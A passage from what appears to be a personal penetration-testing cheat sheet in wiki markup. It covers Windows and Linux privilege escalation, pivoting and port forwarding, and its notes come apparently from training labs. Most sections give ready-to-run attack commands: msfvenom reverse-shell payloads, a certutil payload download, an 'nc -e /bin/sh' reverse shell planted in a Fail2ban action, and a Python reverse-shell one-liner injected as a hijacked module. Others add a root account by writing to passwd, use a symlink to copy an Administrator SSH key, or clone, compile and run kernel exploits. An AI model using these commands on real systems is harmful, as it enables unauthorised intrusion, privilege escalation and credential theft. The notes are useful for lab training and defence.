msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.49.60 LPORT=8081 -f dll -f csharp&lt;br /&gt;
# Compile it. Change &#039;debug&#039; to &#039;release&#039;, set correct architecture.&lt;br /&gt;
# Transfer to target&lt;br /&gt;
.\cve-2020-0796.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Software ====&lt;br /&gt;
&lt;br /&gt;
===== Iperius Backup 6.1.0 =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/46863&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== SystemScheduler =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/45072&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Unquoted Service Path ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# In order to exploit Unquoted service path we have to:&lt;br /&gt;
# - Be able to write to the target folder - Use icacls&lt;br /&gt;
# - Be able to restart the service or machine&lt;br /&gt;
# Exmaple (10.1.1.89)&lt;br /&gt;
icacls enterprisesystemmanager.exe # We have modify permissions&lt;br /&gt;
# Generate a payload&lt;br /&gt;
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.130 LPORT=443 -f exe &amp;gt; enterprisesystemmanager.exe&lt;br /&gt;
# Move original .exe to .bak&lt;br /&gt;
 move enterprisesystemmanager.exe enterprisesystemmanger.exe.bak&lt;br /&gt;
# Transfer our payload to target location - C:\exacqVisionEsm\EnterpriseSystemManager&lt;br /&gt;
certutil -urlcache -split -f &amp;quot;http://192.168.119.130/enterprisesystemmanager.exe&amp;quot;&lt;br /&gt;
# Catche the connection&lt;br /&gt;
rlwrap nc -lvnp 443                                                                                                                                  1 ⨯&lt;br /&gt;
listening on [any] 443 ...&lt;br /&gt;
connect to [192.168.119.130] from (UNKNOWN) [10.11.1.251] 19085&lt;br /&gt;
Microsoft Windows [Version 10.0.15063]&lt;br /&gt;
(c) 2017 Microsoft Corporation. All rights reserved.&lt;br /&gt;
C:\Windows\system32&amp;gt;whoami&lt;br /&gt;
whoami&lt;br /&gt;
nt authority\system&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Windows XP SP0/SP1 - UPNP service exploit ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://sohvaxus.github.io/content/winxp-sp1-privesc.html&lt;br /&gt;
# Requirenment: Obtained a low privilege shell on your victim&#039;s computer. Operating system is Windows XP with SP0 or SP1 installed.&lt;br /&gt;
# See write up for PWK 10.11.1.14.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Windows Exploit Suggester ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
python2 windows-exploit-suggester.py --systeminfo sys.txt -d 2022-01-14-mssb.xls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Windows Kernel Exploit list ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/SecWiki/windows-kernel-exploits&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== xampp 7.3 ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/PG/monster]&lt;br /&gt;
└─# cat exploit.ps1&lt;br /&gt;
# Exploit Title: XAMPP 7.4.3 - Local Privilege Escalation&lt;br /&gt;
# Exploit Author: Salman Asad (@LeoBreaker1411 / deathflash1411)&lt;br /&gt;
# Original Author: Maximilian Barz (@S1lkys)&lt;br /&gt;
# Date: 27/09/2021&lt;br /&gt;
# Vendor Homepage: https://www.apachefriends.org&lt;br /&gt;
# Version: XAMPP &amp;lt; 7.2.29, 7.3.x &amp;lt; 7.3.16 &amp;amp; 7.4.x &amp;lt; 7.4.4&lt;br /&gt;
# Tested on: Windows 10 + XAMPP 7.3.10&lt;br /&gt;
# References: https://github.com/S1lkys/CVE-2020-11107&lt;br /&gt;
$file = &amp;quot;C:\xampp\xampp-control.ini&amp;quot;&lt;br /&gt;
$find = ((Get-Content $file)[2] -Split &amp;quot;=&amp;quot;)[1]&lt;br /&gt;
# Insert your payload path here&lt;br /&gt;
$replace = &amp;quot;C:\Users\Mike\Downloads\rev.exe&amp;quot;&lt;br /&gt;
(Get-Content $file) -replace $find, $replace | Set-Content $fil&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Linux ===&lt;br /&gt;
&lt;br /&gt;
==== CVE ====&lt;br /&gt;
&lt;br /&gt;
===== CVE-2009-2698 (Centos 4.8) =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/xiaoxiaoleo/CVE-2009-2698&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== CVE-2021-4034 (polkit) =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/joeammond/CVE-2021-4034&lt;br /&gt;
# Check suid and see if /usr/bin/pkexec is present and python&lt;br /&gt;
# Then compile and run&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== CVE-2023–22809 (bypass sudo) =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://medium.com/@dev.nest/how-to-bypass-sudo-exploit-cve-2023-22809-vulnerability-296ef10a1466&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Fail2ban ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# See PG Fail writeup&lt;br /&gt;
# Example reverse shell&lt;br /&gt;
# Option:  actionban&lt;br /&gt;
# Notes.:  command executed when banning an IP. Take care that the&lt;br /&gt;
#          command is executed with Fail2Ban user rights.&lt;br /&gt;
# Tags:    See jail.conf(5) man page&lt;br /&gt;
# Values:  CMD&lt;br /&gt;
#&lt;br /&gt;
#actionban =  -I f2b- 1 -s  -j&lt;br /&gt;
actionban = /usr/bin/nc -e /bin/sh 192.168.49.243 9999&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Linux Kernel exploits ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Linux versions&lt;br /&gt;
# 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36&lt;br /&gt;
https://www.exploit-db.com/exploits/15285&lt;br /&gt;
# Linux Kernel &amp;lt; 4.4.0-116 (Ubuntu 16.04.4)&lt;br /&gt;
https://www.exploit-db.com/exploits/44298&lt;br /&gt;
# Linux Kernel &amp;lt; 4.13.9 (Ubuntu 16.04 / Fedora 27)&lt;br /&gt;
https://www.exploit-db.com/exploits/45010&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Copy Fail - CVE-2026-31431 ====&lt;br /&gt;
https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/main/copy_fail_exp.py&lt;br /&gt;
&lt;br /&gt;
==== Dirty Frag: Universal Linux LPE ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
git clone https://github.com/V4bel/dirtyfrag.git &amp;amp;&amp;amp; cd dirtyfrag &amp;amp;&amp;amp; gcc -O0 -Wall -o exp exp.c -lutil &amp;amp;&amp;amp; ./exp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ld_reload - Dynamic library hijacking ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If binary is missing a library AND you have write permission to library location, you can hijack the library by adding a malicous one&lt;br /&gt;
# List Dynamic Dependencies = ldd&lt;br /&gt;
# Ldd is a powerful command-line tool that allows users to view an executable file&#039;s shared object dependencies.&lt;br /&gt;
ldd /usr/bin/log-sweeper&lt;br /&gt;
        linux-vdso.so.1 =&amp;gt;  (0x00007ffe11833000)&lt;br /&gt;
        utils.so =&amp;gt; not found&lt;br /&gt;
        libc.so.6 =&amp;gt; /lib64/libc.so.6 (0x00007f6ce440c000)&lt;br /&gt;
        /lib64/ld-linux-x86-64.so.2 (0x00007f6ce47da000)&lt;br /&gt;
# Generate .so payload&lt;br /&gt;
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.49.160 LPORT=21 -f elf-so &amp;gt; utils.so&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== SUID ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
find / -perm -u=s -type f 2&amp;gt;/dev/null&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Setuid Screen 4.5.0 ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/41154&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Sudo ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/saleemrashid/sudo-cve-2019-18634 https://github.com/saleemrashid/sudo-cve-2019-18634]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/mohinparamasivam/Sudo-1.8.31-Root-Exploit https://github.com/mohinparamasivam/Sudo-1.8.31-Root-Exploit]&lt;br /&gt;
&lt;br /&gt;
==== Systemctl (Misconfigured Permissions — sudo/SUID) ====&lt;br /&gt;
&lt;br /&gt;
[https://medium.com/@klockw3rk/privilege-escalation-leveraging-misconfigured-systemctl-permissions-bc62b0b28d49 https://medium.com/@klockw3rk/privilege-escalation-leveraging-misconfigured-systemctl-permissions-bc62b0b28d49]&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/wp-content/uploads/2022/11/Privilege-Escalation_-Systemctl-Misconfigured-Permissions-—-sudo_SUID-_-by-Samuel-Whang-_-Medium.pdf Privilege-Escalation_-Systemctl-Misconfigured-Permissions-—-sudo_SUID-_-by-Samuel-Whang-_-Medium][https://blog.aghanim.net/wp-content/uploads/2022/11/Privilege-Escalation_-Systemctl-Misconfigured-Permissions-—-sudo_SUID-_-by-Samuel-Whang-_-Medium.pdf Download]&lt;br /&gt;
&lt;br /&gt;
==== Sudo permission to run apache restart ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If your user have these permissions&lt;br /&gt;
(root) NOPASSWD: /usr/sbin/service apache2 restart&lt;br /&gt;
# First check what file you have write permission to.&lt;br /&gt;
# If not, check if there are any bash scripts that can be edited and place a backdoor in it.&lt;br /&gt;
# Example&lt;br /&gt;
# envvars in /etc/apache2 is writeable.&lt;br /&gt;
# Change to another user if there are any on the machine&lt;br /&gt;
export APACHE_RUN_USER=DifferentUser&lt;br /&gt;
# REMEMBER, APACHE WONT LET YOU RUN IT AS ROOT.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Software ====&lt;br /&gt;
&lt;br /&gt;
===== Exim 4.84-3 =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/39535&lt;br /&gt;
# If error, fix with&lt;br /&gt;
sed -i -e &#039;s/\r$//&#039; 39535.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== OpenSMTPD 6.4.0 &amp;lt; 6.6.1 =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/48051&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Writeable passwd ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Generate hashed password&lt;br /&gt;
openssl passwd  -1 -salt aghanim pass123&lt;br /&gt;
# Add to passwd on target&lt;br /&gt;
aghanim:$1$aghanim$VVrajbhbmkAgYcpIGLIuY1:0:0:root:/root:/bin/bash&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Pivoting/tunneling technique ==&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/?p=2294 https://blog.aghanim.net/?p=2294]&lt;br /&gt;
&lt;br /&gt;
[https://trojand.com/cheatsheet/Network/Connections/SSH_Tunneling.html SSH Tunneling + SSHuttle and Chisel - Cheatsheet (trojand.com)]&lt;br /&gt;
&lt;br /&gt;
[https://cheatsheet.haax.fr/network/pivot_techniques/ Offensive Security Cheatsheet (haax.fr)]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/twelvesec/port-forwarding GitHub - twelvesec/port-forwarding: Tunneling and Port Forwarding Cheat Sheet]&lt;br /&gt;
&lt;br /&gt;
=== Chisel ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# CHISEL AND PROXYCHAINS AND FOXYPROXY&lt;br /&gt;
# Using Chisel to make a proxy. Notice that the proxy port opens on 1080, rather than listening port (37777).&lt;br /&gt;
# Attacker machine&lt;br /&gt;
chisel server -p 37777 --reverse&lt;br /&gt;
# Target machine&lt;br /&gt;
./chisel client Attacker-IP:37777 R:socks&lt;br /&gt;
# Now in Proxychain config file /etc/proxychains4.conf add the proxy port&lt;br /&gt;
[ProxyList]&lt;br /&gt;
# add proxy here ...&lt;br /&gt;
# meanwile&lt;br /&gt;
# defaults set to &amp;quot;tor&amp;quot;&lt;br /&gt;
socks5  127.0.0.1 1080&lt;br /&gt;
# Now when you run can reach other target on the network using proxychains. So it looks like this Attacker machine --SOCKS proxy --&amp;gt; 10.200.57.200 on port 1080 --&amp;gt; 10.200.57.150 (Unreachable from attacker).&lt;br /&gt;
proxychains nc -vn 10.200.57.150 3389&lt;br /&gt;
# Or in the case of the THM box Wreath. If I want to run the GitStack exploit from my attacker to 10.200.57.150 (Which is unreachable withouth proxy or tunnel).&lt;br /&gt;
proxychains python2 exploit.py.&lt;br /&gt;
# OR by using foxy proxy if I want to access http.&lt;br /&gt;
# Add a new proxy. Proxy type = SOCKS5 (chisel uses socks5), IP = 127.0.0.1, Port = Proxy prot (1080).&lt;br /&gt;
# And start foxy proxy. Now I can access the webserver on.&lt;br /&gt;
# I can also use proxychains to access HTTP.&lt;br /&gt;
proxychains firefox.&lt;br /&gt;
# This will open firefox through proxychains.&lt;br /&gt;
&lt;br /&gt;
# Using SOCKS5 with chisel&lt;br /&gt;
./chisel server -v -p 8000 --socks5&lt;br /&gt;
# On the client/target/victim machine&lt;br /&gt;
chisel.exe client -v attacker.com:8000 socks&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Ligolo-ng ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/nicocha30/ligolo-ng https://github.com/nicocha30/ligolo-ng]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#### LINUX&lt;br /&gt;
# Prepare tunnel&lt;br /&gt;
sudo ip tuntap add user $(whoami) mode tun ligolo&lt;br /&gt;
sudo ip link set ligolo up&lt;br /&gt;
# Start proxy on kali&lt;br /&gt;
./proxy -laddr 192.168.45.195:53 -selfcert&lt;br /&gt;
# On target&lt;br /&gt;
./agent -connect 192.168.45.195:53 -ignore-cert&lt;br /&gt;
# See session in ligolo proxy&lt;br /&gt;
ligolo-ng» session&lt;br /&gt;
# Add pivot to internal network on kali&lt;br /&gt;
sudo ip r add 172.16.213.0/24 dev ligolo&lt;br /&gt;
# Check ip route&lt;br /&gt;
ip route&lt;br /&gt;
default via 10.0.2.2 dev eth0 proto dhcp src 10.0.2.15 metric 100&lt;br /&gt;
10.0.2.0/24 dev eth0 proto kernel scope link src 10.0.2.15 metric 100&lt;br /&gt;
172.16.213.0/24 dev ligolo scope link&lt;br /&gt;
192.168.45.0/24 dev tun0 proto kernel scope link src 192.168.45.195&lt;br /&gt;
192.168.213.0/24 via 192.168.45.254 dev tun0&lt;br /&gt;
&lt;br /&gt;
# In ligolo - in correct session&lt;br /&gt;
[Agent: user@target] » start&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#### WINDOWS&lt;br /&gt;
# To set up the Ligolo-ng proxy on a Windows machine, follow these steps:&lt;br /&gt;
# Download Ligolo-ng Proxy:&lt;br /&gt;
# Visit the Ligolo-ng GitHub Releases page and download the latest proxy.exe suitable for your Windows architecture.&lt;br /&gt;
# Install Wintun Driver:&lt;br /&gt;
# Ligolo-ng requires the Wintun driver to create a TUN interface on Windows.&lt;br /&gt;
# Download the appropriate wintun.dll from the Wintun repository.&lt;br /&gt;
# Place the wintun.dll file in the same directory as proxy.exe.&lt;br /&gt;
# Run the Proxy:&lt;br /&gt;
# Open Command Prompt and navigate to the directory containing proxy.exe and wintun.dll.&lt;br /&gt;
# Execute the proxy with a self-signed certificate:&lt;br /&gt;
proxy.exe -selfcert&lt;br /&gt;
# This command starts the proxy server with a self-signed TLS certificate.&lt;br /&gt;
# Configure the Agent:&lt;br /&gt;
# On the target machine, download the corresponding agent binary from the Ligolo-ng GitHub Releases page.&lt;br /&gt;
# Run the agent, specifying the IP address and port of your Windows machine running the proxy:&lt;br /&gt;
agent.exe -connect :11601 -ignore-cert&lt;br /&gt;
# Replace  with the actual IP address of your proxy machine.&lt;br /&gt;
# Manage Sessions:&lt;br /&gt;
# In the proxy&#039;s command interface, use the session command to list active sessions.&lt;br /&gt;
# Select the desired session to interact with the connected agent.&lt;br /&gt;
# Start Tunneling:&lt;br /&gt;
# Within the selected session, initiate the tunnel:&lt;br /&gt;
tunnel_start --tun&lt;br /&gt;
# Replace  with your chosen name for the TUN interface.&lt;br /&gt;
# Set Up Routing:&lt;br /&gt;
# Determine the network configuration of the agent using the ifconfig command within the session.&lt;br /&gt;
# On your Windows proxy machine, add routes to access the target network:&lt;br /&gt;
route add  mask&lt;br /&gt;
# Replace , , and  with the appropriate values based on the agent&#039;s network configuration.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== meterpreter ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Use autoroute module to create a pivot for the other network&lt;br /&gt;
use post/multi/manage/autoroute&lt;br /&gt;
set SUBNET 192.72.180.0&lt;br /&gt;
set SESSION 2&lt;br /&gt;
exploit&lt;br /&gt;
# Set up a system-wide proxy by using auxiliary/server/socks4a module. Change the default SRVPORT (i.e. 1080) to match the default port of proxychains i.e. 9050.&lt;br /&gt;
use auxiliary/server/socks_proxy # Or try socks5&lt;br /&gt;
show options&lt;br /&gt;
set SRVPORT 9050&lt;br /&gt;
exploit&lt;br /&gt;
# Now you can use proxychains&lt;br /&gt;
# DISCOVER OTHER HOSTS ON THE NETWORK&lt;br /&gt;
# On windows you can use post/windows/gather/arp_scanner to discover other machines&lt;br /&gt;
# On Linux you can try arp -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSH ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -D 1337 user@172.16.0.5 -fN&lt;br /&gt;
# Now use proxychains&lt;br /&gt;
# If you want to nmap without proxychains&lt;br /&gt;
nmap -sS 1.2.3.4 --proxy 127.0.0.1:1080&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== sshuttle ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Synopsis&lt;br /&gt;
sshuttle [options] -r [username@]sshserver[:port]&lt;br /&gt;
# Example&lt;br /&gt;
sshuttle -r linux-admin@10.200.122.33 10.200.122.0/24&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Port Forwarding techniques ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Windows&lt;br /&gt;
plink.exe -l root -R 445:127.0.0.1:445 YOURIPADDRESS&lt;br /&gt;
# Metasploit&lt;br /&gt;
portfwd add -l 9090 -p 9090 -r TARGETIP&lt;br /&gt;
# Reverse ssh tunnel, port forwarding 8090 from target to us:&lt;br /&gt;
ssh -R 8090:localhost:8090 user@ip&lt;br /&gt;
# Local port forward, forward local 8090 to target:&lt;br /&gt;
ssh -L 8090:localhost:8090 user@ip&lt;br /&gt;
# Chisel&lt;br /&gt;
# Example: forward port 8888 to attacker using chisel&lt;br /&gt;
# Attacker machine&lt;br /&gt;
chisel server -p 8000 --reverse&lt;br /&gt;
# Target&lt;br /&gt;
chisel.exe client 10.10.14.20:8000 R:8888:localhost:8888&lt;br /&gt;
# Connection received on attacker machine&lt;br /&gt;
server: proxy#1:R:0.0.0.0:8888=&amp;gt;localhost:8888: Listening&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSH ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Synopsis&lt;br /&gt;
ssh -i id_rsa -L [bind_address]port:host:hostport] username@host&lt;br /&gt;
# Example&lt;br /&gt;
ssh -i id_rsa -L 8000:127.0.0.1:8000 donkeykong@10.10.10.100&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Chisel ===&lt;br /&gt;
&lt;br /&gt;
Example: forward port 8888 to attacker using chisel&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Attacker machine&lt;br /&gt;
chisel server -p 8000 --reverse&lt;br /&gt;
# Target&lt;br /&gt;
chisel.exe client 10.10.14.20:8000 R:8888:localhost:8888&lt;br /&gt;
# Connection received on attacker machine&lt;br /&gt;
server: proxy#1:R:0.0.0.0:8888=&amp;gt;localhost:8888: Listening&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Python ==&lt;br /&gt;
&lt;br /&gt;
=== Decompile ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/rocky/python-decompile3&lt;br /&gt;
# Translate python bytecode to python source code.&lt;br /&gt;
$ python pyinstxtractor.py&lt;br /&gt;
# Decompile .pyc&lt;br /&gt;
# https://github.com/zrax/pycdc&lt;br /&gt;
git clone https://github.com/zrax/pycdc&lt;br /&gt;
cd pycdc&lt;br /&gt;
cmake .&lt;br /&gt;
make&lt;br /&gt;
make check&lt;br /&gt;
python pycdc C:\Users\Bobby\example.pyc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Load module ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If a python script tries to load a module which does not exist, we can place our own module.  #  https://book.hacktricks.xyz/generic-methodologies-and-resources/python/bypass-python-sandboxes&lt;br /&gt;
# Add a python reverse shell into the file&lt;br /&gt;
echo &#039;import os,pty,socket;s=socket.socket();s.connect((&amp;quot;192.168.49.165&amp;quot;,22));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(&amp;quot;sh&amp;quot;)&#039; &amp;gt; module.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== PDB (Python Debugger ===&lt;br /&gt;
&lt;br /&gt;
[https://docs.python.org/3/library/pdb.html https://docs.python.org/3/library/pdb.html]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# Add import pdb&lt;br /&gt;
import pdb&lt;br /&gt;
# In script, before an error message, add&lt;br /&gt;
pdb.set_trace()&lt;br /&gt;
# Example&lt;br /&gt;
-&amp;gt; url = url.group(1)&lt;br /&gt;
(Pdb) print url.group(1)&lt;br /&gt;
http://swagshop.htb/index.php/admin/das[...]&lt;br /&gt;
(Pdb) continue&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Python Extractor ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/extremecoders-re/pyinstxtractor&lt;br /&gt;
# Extract Pyinstaller. Content of pyz and pyc is extracted aswell&lt;br /&gt;
Python3 pyinstxtractor.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Simple HTTP Server ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$python -m SimpleHTTPServer&lt;br /&gt;
$python -m http.server&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Symbolic Link (Windows) ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/googleprojectzero/symboliclink-testing-tools/blob/main/CreateSymlink/CreateSymlink_readme.txt&lt;br /&gt;
# See Symbolic box for example of how to exploit this. In the example below a backup script was copying request.log and saving it in a log. Creating a symbolic link as shown below, the content of id_rsa will be copied by the script and saved, making it possible for me to read it.&lt;br /&gt;
.\CreateSymlink.exe C:\xampp\htdocs\logs\request.log C:\Users\Administrator\.ssh\id_rsa&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Wordlists ==&lt;br /&gt;
&lt;br /&gt;
=== Cewl - Generate wordlist ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Will create a wordlist from words in the URL, and add numbers.&lt;br /&gt;
cewl  --with-numbers &amp;gt; wordlist&lt;br /&gt;
# Scan to a depth of 2 (-d 2) and use a minimum word length of 5 (-m 5), save the words to a file (-w docswords.txt), targeting the given URL (https://example.com)&lt;br /&gt;
cewl -d 2 -m 5 -w docswords.txt https://example.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cupp ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/Mebus/cupp https://github.com/Mebus/cupp]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python3 cupp.py -i # Interactive mode where you fill out information about the person&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
